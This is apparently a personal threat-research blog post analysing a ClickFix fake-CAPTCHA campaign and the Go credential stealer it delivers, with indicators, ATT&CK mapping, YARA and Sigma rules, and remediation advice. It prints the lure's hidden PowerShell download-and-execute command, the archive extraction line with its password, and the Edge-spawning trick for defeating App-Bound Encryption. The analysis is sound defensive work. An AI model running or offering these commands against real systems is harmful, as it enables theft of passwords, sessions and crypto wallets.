The ClickFix Stealer That Makes Microsoft Edge Steal From Itself

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A ClickFix fake-CAPTCHA page tricks a victim into pasting one PowerShell command into the Run dialog. Five XOR/Base64 layers later, that pulls down an 842 MB file that’s really a 3.78 MB garble-obfuscated Go loader wearing 839 MB of padding as a disguise. It resolves its C2 out of a Telegram bio (m36[.]akasia988[.]net, with peluangsm188[.]top as a second front), then spawns a real copy of Microsoft Edge so Edge - not the malware - satisfies the App-Bound Encryption check and decrypts its own vault. From there: 268 browser extensions, 40 desktop wallet/password apps, both browser engines, Telegram, Discord, Steam, and anything on your Desktop. 87 seconds, no persistence.

If this is your fleet, do these first:

• Alert on any non-browser process spawning msedge.exe/chrome.exe with --no-first-run + about:blank, followed by elevation_service.exe - Sysmon Event ID 1, near-zero false-positive rate.
• Hunt for 5+ files at %TEMP%\<8hex>\<8hex> (no extension, SQLite magic) created and deleted inside two seconds - Sysmon EID 11 + EID 23.
• Block enter-code-cdn[.]info, 178.16.52[.]101, m36[.]akasia988[.]net, and peluangsm188[.]top at the proxy/DNS layer now.

Full IOCs and YARA rules are at the bottom.

An 842 MB file that’s actually 3.78 MB

The file size is what got my attention first. cloudflare.exe - dropped by a ClickFix chain, named to blend into a browser process list - was 842 MB on disk. Most sandboxes and AV engines stop scanning past a size ceiling. Carve off ~839 MB of NULL bytes and what’s left is an ordinary 3.78 MB Go binary - real content is under 0.5% of the file. Cheap trick, effective, built to sit on the wrong side of a real, common control.

I’ve seen enough of these ClickFix chains that the padding trick alone wasn’t going to carry the post - I wanted to know what it was actually doing and what it was after. That’s where the tactics get interesting: a dead-drop C2 resolver hidden in a Telegram bio, and a way of beating App-Bound Encryption that doesn’t attack the encryption at all - it just asks a trusted copy of Edge to decrypt it for you. This post walks the chain end to end and what to hunt for if it lands on your fleet.

Defender quick reference

Field	Details
Activity type	ClickFix loader chain -> garble-obfuscated Go implant -> native browser-credential / crypto-wallet stealer
Primary artifacts	cloudflare.exe (842 MB on disk), 7-Zip password lehpffsr, campaign tag 967b5773df7f334c, domain enter-code-cdn[.]info
Verdict	Malicious - Critical
Confidence	High - confirmed across three rounds of dynamic detonation plus static call-graph analysis
Key logs	PowerShell Script Block Logging (4104), Sysmon 1 / 3 / 7 / 11 / 22 / 23, proxy/DNS, EDR process telemetry
ATT&CK	T1204.004, T1059.001, T1027, T1105, T1102.002, T1071.001, T1555.003, T1041, T1070.004
First defender actions	Isolate the host; treat as a credential-breach event, not just an infection - rotate saved passwords, invalidate session cookies, re-enrol TOTP seeds, and treat any crypto wallet on the host as compromised; hunt %TEMP%\<8hex>\<8hex> staging paths
Detection opportunities	YARA + Sigma below; Sysmon EID 1 browser-spawn pattern; EID 11 + EID 23 staging/delete correlation
False-positive notes	None known - a non-browser process spawning Edge with --no-first-run about:blank, immediately followed by elevation_service.exe, has essentially no legitimate equivalent

The attack at a glance

1. Initial access - ClickFix “verify you’re human” page tricks the victim into pasting a command into Run.
2. Execution - Hidden PowerShell unwraps five XOR/Base64 layers, gated server-side by ?_=1.
3. Delivery - Loader sleeps 15s, pulls 7z.exe and an archive holding an 842 MB file that’s really a 3.78 MB Go binary under padding.
4. C2 - Implant reads its C2 domain from a Telegram profile’s bio (Steam as fallback), opens genuine TLS.
5. Credential access - Spawns a real, trusted Edge so Edge satisfies App-Bound Encryption, then copies out Login Data, Cookies, History, Web Data before it notices the files are locked.
6. Collection - A native module sweeps 268 extensions, 40 desktop apps, both browser engines, Telegram, Discord, Steam, Desktop/removable drives.
7. Exfiltration - Everything staged leaves as per-file multipart POSTs.
8. Cleanup - Staging files deleted ~1s after being written. No persistence. 87 seconds, start to finish.

How it works

Stage 1 - the paste

ClickFix doesn’t exploit anything. The fake CAPTCHA tells the victim their browser needs to “verify” via a command already in their clipboard, walks them through Win+R, and lets them paste it themselves - nothing for a gateway to catch, since at delivery time there is no payload:

powershell -w h "iex(irm 'enter-code-cdn[.]info/967b5773df7f334c' -UseBasicParsing)"; exit

-w h hides the window. iex(irm ...) is the standard PowerShell download-cradle: fetch, then execute whatever comes back.

Stage 2 - five layers deep, and it checks who’s asking

The response decodes into a scriptblock that fetches a second URL over WinHttp.WinHttpRequest.5.1 to keep Invoke-WebRequest off the radar. The neat part: that URL is the same endpoint, just with ?_=1 appended - request it plain and you get stage 1 again, forever. The server only hands over the real chain once a client proves it already ran stage 1’s code. Two more layers later, a cleartext loader sleeps 15 seconds past most sandbox timeouts, then fetches a clean 7z.exe and a password-protected archive and extracts it:

7z.exe x -y -plehpffsr -o<dir> <rand>.7z

Stage 3 - the 842 MB decoy

Inside: one file, cloudflare.exe, 842 MB. The real PE - Go 1.25.4, built with garble, symbols mangled and string literals encrypted at compile time - is the first 3.78 MB; the rest is plain 0x00. Run it and main.main prints a benign “Elevation Map” topography report; the actual stealer code lives in the other main.* functions, invisible to static search because the target paths, C2 address, and AES key/IV only exist once running.

Stage 4 - the C2 address lives in a Telegram bio

This is the detail that made me stop. The first connection is an HTTPS GET to a public Telegram profile, hxxps://t[.]me/gk6p2s. Fetch it and the bio field reads:

e99set m36[.]akasia988[.]net|

It parses its live C2 domain straight out of that bio text. Rotate infrastructure by editing a Telegram profile - no rebuild, no domain registration to start a takedown clock. A Steam profile is a fallback, same pattern; both point at the same backend software on two independently registered domains, months apart - one operator, more than one front.

Stage 5 - it doesn’t attack App-Bound Encryption, it borrows Edge’s

Chromium’s App-Bound Encryption wraps the DPAPI key behind elevation_service.exe, Edge’s IElevator COM server, which refuses callers outside the browser’s own install directory. This implant doesn’t attack that service - it launches:

msedge.exe --no-first-run --disable-gpu about:blank

twice, each followed within ~1.5 seconds by two elevation_service.exe calls, COM-activated by services.exe - satisfied because the caller genuinely is Edge. How the key is read back out is unproven (no ProcessAccess logging here), though the spawn-and-borrow mechanism is confirmed: the Cookies database pulled had 19 rows, all carrying the v20 App-Bound-Encrypted prefix, not the older DPAPI v10.

From there it’s copy-then-exfiltrate on Edge’s locked SQLite files, each read and written to a random %TEMP%\<8hex>\<8hex> path, then deleted a second later. Sysmon’s ArchiveDirectory preserved all five, byte for byte - the only reason this stage is provable rather than inferred.

Stage 6 - what it actually goes after

Strings recovered from a runtime memory dump - not visible anywhere on disk, since they’re decrypted garble literals - show a target list well past “generic stealer”:

• Browsers, both engines. Chromium credential/cookie/history/autofill, plus synced and local-storage logins (your other devices too). Gecko: logins.json, key4.db, cookies.sqlite.
• 268 browser extensions - ~184 crypto wallets (MetaMask, Phantom, Coinbase and more), ~35 password managers (Bitwarden, LastPass, RoboForm, Proton Pass, even AV-vendor vaults), and 8 authenticator/2FA extensions - grabbing 2FA alongside the vault turns a dump into account takeover that survives a password reset.
• 40 desktop applications: Ledger Live, Trezor Suite, 1Password, Bitwarden, RoboForm, and wallet clients for Bitcoin Core and more.
• Telegram tdata session files (sidesteps 2FA entirely), Discord tokens, and Steam account data.
• A general file grabber on the Desktop and any removable drive - fifteen recovered filenames decoded to real Desktop paths, one blob decoded to a complete file.

None of the wallets or password managers had data on this clean VM - probes came back not-found, but the code paths are unambiguous. Everything staged leaves as multipart POST uploads, one per file. Paste to process exit: 87 seconds. No Run key, no scheduled task, no service - whatever left in those 87 seconds is the whole incident.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

Tactic	Technique	ATT&CK ID	What it did here
Initial Access	User Execution: Malicious Copy-Paste	T1204.004	ClickFix fake-CAPTCHA talked the victim into pasting a PowerShell one-liner into Run
Execution	PowerShell	T1059.001	Hidden-window iex(irm ...) staged download-cradle
Defense Evasion	Obfuscated Files or Information / Deobfuscate at runtime	T1027, T1140	Five layers of single-byte XOR + Base64, server-side gated behind ?_=1
Defense Evasion	Binary Padding	T1027.001	~839 MB of NULL padding pushes the real PE past AV/EDR/sandbox size ceilings
Command and Control	Ingress Tool Transfer	T1105	Drops a clean 7z.exe plus a password-protected archive rather than a detectable packer
Command and Control	Web Service (Dead Drop Resolver)	T1102.002	Live C2 domain read from a Telegram profile’s bio text, with a Steam profile as fallback
Command and Control	Application Layer Protocol: Web Protocols	T1071.001	Genuine HTTPS to the resolved domain, spoofed Edge User-Agent
Credential Access	Credentials from Web Browsers	T1555.003	Spawns a real Edge instance so Edge itself satisfies the App-Bound Encryption check
Collection	Data from Local System / Credentials from Password Stores	T1005, T1552.001	268 extension IDs, 40 desktop apps, Desktop + removable-drive file grabber
Exfiltration	Exfiltration Over C2 Channel	T1041	Per-file multipart POST for every staged item
Defense Evasion	Indicator Removal: File Deletion	T1070.004	Staged blobs wiped roughly one second after being written

Why this matters

Strip away the obfuscation and this is the ClickFix story in its purest form: no exploit, no macro, no attachment - just a victim who trusted a fake prompt enough to paste one line into Run. From that single paste, an attacker gets a resolved path to passwords, session cookies, TOTP seeds, messenger sessions, and crypto wallet software, inside ninety seconds with no persistence, no dwell time, and nothing left on disk to prove it happened. Anyone who ran this needs to be treated as a confirmed credential-breach event - re-imaging does nothing for a password already sitting on someone else’s server. I’m not going to guess who’s behind it; the shared backend across two front domains already says “one operator, more than one campaign” - and it’s not the only case I’ve seen this playbook in. Kovraxis used the identical Telegram-plus-Steam dead-drop and hidden-Edge-spawn trick against entirely different C2, weeks apart. Tooling in circulation, not a one-off.

What defenders can do

Technique (ATT&CK)	What to do	Essential Eight	What to hunt for
ClickFix paste-and-run (T1204.004)	User awareness: nobody pastes an unexplained command into Run; consider GPO-restricting Win+R for standard users where feasible	No clean E8 home - Securing PowerShell in the Enterprise (Oct 2021) helps once execution starts	Event ID 4688 for powershell.exe spawned by explorer.exe with -w hidden / -windowstyle hidden
Staged PowerShell loader (T1059.001, T1027)	Constrained Language Mode; block .ps1/inline script execution from user-writable paths via WDAC or AppLocker	Implementing Application Control (Nov 2023); Securing PowerShell in the Enterprise (Oct 2021)	Script Block Logging - Event ID 4104 captures the decoded body regardless of the XOR/Base64 wrapping
Dropped archive tool + payload (T1105)	Application control on unsigned binaries executing from %TEMP%, regardless of filename	Implementing Application Control (Nov 2023)	Event ID 4688 for new binaries under %TEMP%\<random>\, paired with a -p password argument
Dead-drop C2 + HTTPS beacon (T1102.002, T1071.001)	Default-deny egress; proxy category blocking on messaging/social-media domains for non-user processes; DNS filtering on newly-registered domains	No direct E8 home - network architecture, not application control	Proxy/TLS SNI logs for enter-code-cdn[.]info, akasia988[.]net, peluangsm188[.]top; recurring GET-then-POST cycles
Browser credential theft via ABE bypass (T1555.003)	Application control - stops the whole stealer, this technique included, from ever running	No direct E8 home for browser-credential theft itself; Implementing Application Control (Nov 2023) is the practical override (author’s judgement)	Sysmon EID 1: non-browser process spawns msedge.exe/chrome.exe with --no-first-run + about:blank, followed by elevation_service.exe
Extension / wallet / file harvesting (T1552.001, T1005)	Restrict which processes can read another process’s user-data directory; least-privilege on the local profile	No direct E8 home for this specifically; Restricting Administrative Privileges (Nov 2023) is the closest lever (author’s judgement)	5+ files at %TEMP%\<8hex>\<8hex> (no extension, SQLite magic) created and deleted within two seconds - Sysmon EID 11 + EID 23
Multipart exfil + self-wipe (T1041, T1070.004)	Centralised, off-host log forwarding so local deletion doesn’t erase the evidence	No direct E8 home - ISM Guidelines for System Hardening (June 2025) covers the logging-architecture angle	Outbound multipart POST with file_name + build_id fields and no filename= attribute; enable Sysmon ArchiveDirectory

ClickFix paste-and-run. No clean single control for “the user pasted what the page told them to” - Application Control catches the next step, not this. First line: awareness, nobody pastes an unexplained command into Run. Where tolerable, GPO-restricting Win+R removes the mechanism. Hunt Event ID 4688 for powershell.exe spawned by explorer.exe with a hidden-window flag.

Staged PowerShell loader. Constrained Language Mode plus blocking script execution from user-writable paths via WDAC/AppLocker - Implementing Application Control (Nov 2023), reinforced by Securing PowerShell in the Enterprise (Oct 2021). Script Block Logging - Event ID 4104 - captures the fully decoded body no matter how many XOR/Base64 layers wrap it on the wire.

Dropped archive tool and payload. Application control on unsigned binaries executing from %TEMP% closes this regardless of the tool’s name. Watch Event ID 4688 for new binaries under %TEMP%\<random>\, paired with a -p password argument.

Dead-drop C2 and HTTPS beacon. No direct Essential Eight home - network architecture, not application control. Default-deny egress, proxy category blocking on messaging/social domains for non-browser processes, and DNS filtering on new domains bite here. Hunt proxy/TLS SNI logs for the campaign’s domains and recurring, identical-shape GET-then-POST cycles.

Browser credential theft via the ABE bypass. Application Control earns its keep here - it’s what stops the entire implant, this stage included, from ever executing. No direct Essential Eight home for the bypass mechanism itself, since it’s novel tradecraft, not a documented technique - but the detection makes up for it: Sysmon EID 1 for a non-browser process spawning msedge.exe/chrome.exe with --no-first-run + about:blank, followed by elevation_service.exe, has essentially no legitimate use.

Extension, wallet, and file harvesting. No direct Essential Eight home here; Restricting Administrative Privileges (Nov 2023) is the closest lever - limiting which processes read another process’s user-data directory. Hunt for 5+ files at %TEMP%\<8hex>\<8hex> (no extension, SQLite magic) created and deleted within two seconds - Sysmon EID 11 + 23.

Multipart exfil and self-wipe. No direct Essential Eight home - ISM Guidelines for System Hardening (June 2025) covers it: centralise log forwarding so local deletion doesn’t erase the only copy of the evidence. Hunt outbound multipart POSTs with file_name + build_id fields and no filename= attribute; enable Sysmon ArchiveDirectory on high-value endpoints.

Hunting and detection summary

• PowerShell 4104/4103 for iex(irm with -bxor and WinHttpRequest.
• File-size heuristic: PEs over ~500 MB, real content in the first few MB, then a long 0x00 run.
• Sysmon EID 1: non-browser spawns msedge.exe/chrome.exe with --no-first-run + about:blank, followed by elevation_service.exe.
• Sysmon EID 11 + EID 23: 5+ %TEMP%\<8hex>\<8hex> files created and deleted within two seconds, SQLite format 3.
• Network: multipart POST with file_name + build_id, no filename= attribute, boundary ------<24 lowercase hex>.
• Sysmon EID 7: unsigned binary loading dpapi.dll + winhttp.dll.
• Proxy/DNS: hits on enter-code-cdn[.]info, coronadoferrylanding[.]com, akasia988[.]net, or peluangsm188[.]top.
• Enable Sysmon ArchiveDirectory on high-value endpoints - the only reason this sample’s wiped data was recoverable at all.

The YARA rules, Sigma detections, KQL queries, and IOC list for this campaign are also available in the companion detection repo.

Indicators of Compromise

Type	Indicator	Notes
Domain	enter-code-cdn[.]info	C2 / staging host for the loader chain
IP	178.16.52[.]101	Hosts enter-code-cdn[.]info
Domain / IP	coronadoferrylanding[.]com / 74.208.53[.]82	ClickFix lure page
URL	hxxp://enter-code-cdn[.]info/967b5773df7f334c	Stage 1; ?_=1 returns the real chain
Campaign tag	967b5773df7f334c	Present in the clipboard command and every PowerShell stage
SHA256	678d92dac07362312135fa5a81d528322d2f4671d0632d26d572f5d86cf9692a	cloudflare.exe as delivered (842 MB)
SHA256	5e1b57d0a56d2befa3f786a6cf3b38072454c2a7751e291f38d68448f89607fa	cloudflare.exe real PE, padding stripped (3.78 MB)
7-Zip password	lehpffsr	For the payload archive
Domain (C2, confirmed)	m36[.]akasia988[.]net	Resolved via Telegram dead-drop; Cloudflare-fronted
Domain (C2, second front)	peluangsm188[.]top	Same backend software, same subdomain pattern; resolved via Steam dead-drop
C2-fronting IPs	172.67.187[.]150, 104.21.7[.]141, 104.21.58[.]99, 172.67.203[.]42	Cloudflare anycast - block domain/SNI, not the bare IP
Dead-drop	hxxps://t[.]me/gk6p2s	Telegram profile; bio text holds the live C2 domain
Dead-drop (fallback)	hxxps://steamcommunity[.]com/profiles/76561198667588759	Steam profile, same resolution pattern
Build ID	0eb2d770231b5ce92eb8be6247f2ccfa	Stable across all three detonation rounds - campaign pivot
Staging path pattern	%TEMP%\<8hex>\<8hex> (no extension)	Copy-then-exfil staging for each stolen browser DB
Go build ID	lJR0dC7X1EoIIEUyHcUB/RP7i_K4Fg64Ks8q_73mr/2Aq3-mTPQ0jEAnEP8RJ5/mw9PlI-KznP3YnG0swcQ	High-fidelity build pivot

Detection rules

rule ClickFix_EnterCodeCdn_Loader_Chain
{
    meta:
        author = "blueteam.cool (@btcoolteam)"
        date = "2026-07-29"
        description = "ClickFix multi-stage XOR/Base64 PowerShell loader -> bloated Go implant"
        reference = "coronadoferrylanding[.]com ClickFix lure; C2 178.16.52[.]101"
    strings:
        $u1 = "enter-code-cdn.info" ascii wide
        $tag = "967b5773df7f334c" ascii wide
        $winhttp = "WinHttp.WinHttpRe" ascii wide
        $p1 = "-bxor113" ascii wide
        $p2 = "-bxor118" ascii wide
        $iex = "iex(irm" ascii wide nocase
        $cf = "cloudflare.exe" ascii wide
        $pw = "lehpffsr" ascii wide
    condition:
        ($u1 and ($tag or $iex)) or (2 of ($p1,$p2,$winhttp)) or ($cf and $pw)
}

rule Go_Garble_Bloated_ElevationMap_Implant
{
    meta:
        author = "blueteam.cool (@btcoolteam)"
        description = "Garble-obfuscated Go implant masquerading as an Elevation Map tool; NULL-padded"
    strings:
        $go   = "go1.25.4" ascii
        $mod  = "vyimLwwQcaHWg" ascii
        $d1   = "--- Elevation Map ---" ascii
        $d2   = "Highest peak:" ascii
        $d3   = "Total relief:" ascii
        $bid  = "lJR0dC7X1EoIIEUyHcUB" ascii
    condition:
        uint16(0)==0x5A4D and $go and (($mod and 1 of ($d*)) or $bid or 2 of ($d*))
}

rule EnterCodeCdn_Stealer_Module_Runtime
{
    meta:
        author = "blueteam.cool (@btcoolteam)"
        date = "2026-07-31"
        description = "Native stealer module strings recovered from process memory. Memory-scan rule - runtime-decrypted, not present in the on-disk PE."
        scan_context = "memory"
    strings:
        $p1 = "file_data" ascii
        $p2 = "file_name" ascii
        $p3 = "build_id" ascii
        $r1 = "information.txt" ascii
        $r2 = "Work Dir: In memory" ascii
        $r3 = "Uploaded %lu/%lu files" ascii
        $s1 = "from_IndexedDB" ascii
        $s2 = "from_sync" ascii
        $g1 = "%DRIVE_REMOVABLE%" ascii
        $g2 = "%PROGRAMFILES_86%" ascii
    condition:
        (all of ($p*)) or (2 of ($r*)) or (all of ($s*)) or (all of ($g*))
}

title: Non-Browser Process Spawns Edge for App-Bound Encryption Abuse
id: 8f2b6c4e-1a3d-4e7f-9c2b-6d4a8f1e3b5c
status: experimental
description: >
  Detects a non-browser process spawning msedge.exe/chrome.exe with
  --no-first-run and about:blank - the launch signature observed when a
  credential stealer spawns a trusted browser instance so that browser
  satisfies Chromium's App-Bound Encryption check.
references:
  - https://blueteam.cool/posts/clickfix-elevation-map-credential-stealer/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\msedge.exe'
      - '\chrome.exe'
    CommandLine|contains|all:
      - '--no-first-run'
      - 'about:blank'
  filter_legitimate_parent:
    ParentImage|endswith:
      - '\msedge.exe'
      - '\chrome.exe'
  condition: selection and not filter_legitimate_parent
falsepositives:
  - None known from the source case - baseline browser-management/RMM tooling before enabling at "high"
level: high

Closing

ClickFix sucks, and it sucks because it works. It doesn’t need a vulnerability, doesn’t need a macro, doesn’t even need the victim to download anything - just a fake prompt and a paste. Over the past month I’ve documented thousands of compromised sites hosting ClickFix payloads: different lures, different loaders, different final-stage malware, the same paste-into-Run mechanic on every single one. If this sample is any indication of what’s sitting behind that many pages, that’s a genuinely scary number to sit with.

What makes it worse is the gap between what the victim sees and what actually happens. The victim sees a CAPTCHA and a copy-paste prompt - nothing that looks like an attack. What’s actually in motion, if nothing catches it at execution, is credential theft, session hijack, and account takeover, with password spraying and straight financial theft as the likely next stop once whatever got stolen gets reused or sold. None of that is obvious to the user or their organisation in the moment, and as these chains keep adding anti-analysis layers built specifically to slide past EDR, the pattern holds: if the paste isn’t caught at execution, the credentials are gone before anyone notices anything happened.

Across the campaigns I’ve been tracking, that adds up to a genuinely uncomfortable thought: there’s likely thousands of sets of stolen credentials sitting on operator infrastructure right now, not yet weaponised, waiting to be used or resold later. That’s the part worth remembering if this ever turns up on your fleet - re-imaging the box doesn’t undo any of it. If a host ran this, or anything shaped like it, the fix is a full credential reset: passwords, session cookies, TOTP seeds, wallet keys, all of it, not a wipe and a shrug. Stay curious.

---

On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

• MITRE ATT&CK: T1204.004, T1059.001, T1027, T1105, T1102.002, T1071.001, T1555.003, T1552.001, T1041, T1070.004
• ASD/ACSC: Implementing Application Control (November 2023); Securing PowerShell in the Enterprise (October 2021); Restricting Administrative Privileges (November 2023); ISM Guidelines for System Hardening (June 2025) - see the Essential Eight overview.
• garble - the Go obfuscator used to build the implant.